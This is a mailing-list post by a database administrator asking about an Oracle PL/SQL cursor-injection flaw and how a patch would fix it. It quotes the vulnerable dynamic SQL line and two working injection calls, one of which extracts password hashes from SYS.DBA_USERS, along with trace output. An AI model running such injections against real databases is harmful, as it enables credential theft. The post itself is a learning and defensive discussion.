Cursor Injection Question

http://www.databasesecurity.com/dbsec/cursor-injection.pdf  

An email came out on a different list that made reference to the above document by David Litchfield. I started reading the document, and then this afternoon I did some experimentation on a non-production database. The document provided an example of a function owned by sys. One line in the function was:  

OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS WHERE OBJECT_NAME = ''' || P_OBJNM ||'''';   Then a bit later they gave an example where the function could be called by a non-privileged user. I confirmed that the hole exists using two different (but similar) examples.  

EXEC SYS.GET_OWNER('AAAA'' UNION SELECT PASSWORD FROM SYS.DBA_USERS -- ');

EXEC SYS.GET_OWNER('GET_OWNER'' UNION select ''why does this work'' from dual--');  

However, what I do not understand is why the double-dash "--" is required at the end of the string. I tried the exec statement above without the double-dash at the end, and sqlplus threw an error. I turned on tracing, ran the second example with and without the double dashes:  

EXCERPTS FROM TRACE FILE (WITH DOUBLE-DASHES; COMPLETES SUCCESSFULLY) BEGIN SYS.GET_OWNER('GET_OWNER'' UNION select ''why does this work'' from dual--'); END;

SELECT OWNER FROM ALL_OBJECTS WHERE OBJECT_NAME = 'GET_OWNER' UNION select 'why does this work' from dual--'

END OF STMT   EXCERPTS FROM TRACE FILE (WITH NO DOUBLE-DASHES; THROWS AN ERROR) BEGIN SYS.GET_OWNER('GET_OWNER'' UNION select ''why does this work'' from dual'); END;

END OF STMT

PARSE ERROR #3:len=107 dep=1 uid=0 oct=3 lid=0 tim=13438564933284 err=1756

SELECT OWNER FROM ALL_OBJECTS WHERE OBJECT_NAME = 'GET_OWNER' UNION select 'why does this work' from dual'  

Can anybody shed some light on why the double-dashes are needed to exploit the hole?  

BTW, At first, I didn't understand how or why injecting a sql statement as part of the parameter would cause PL/SQL to actually run the statement. But when I looked at the sql statement as generated in the trace file, it became obvious. And that leads me to another question. If you were an Oracle employee and were asked to fix this hole, how would you handle it? What would a proper patch from Oracle need to do to fix this? I would think that given coding as above (with the P_OBJNM parameter), there could be legitimate instances where a single quotation mark in a parameter string would be legitimate. For example, if the parameter was for a last name. So I can't disallowing a single quotation mark as being a proper fix.  

Thanks to all responders for helping me to satisfy my curiosity.  

Sam Bootsma

Oracle Database Administrator

Information Technology Services
George Brown College

Phone: 416-415-5000 x4933
Fax: 416-415-4836
E-mail: sbootsma_at_georgebrown.ca <mailto:sbootsma_at_georgebrown.ca>  

--
http://www.freelists.org/webpage/oracle-l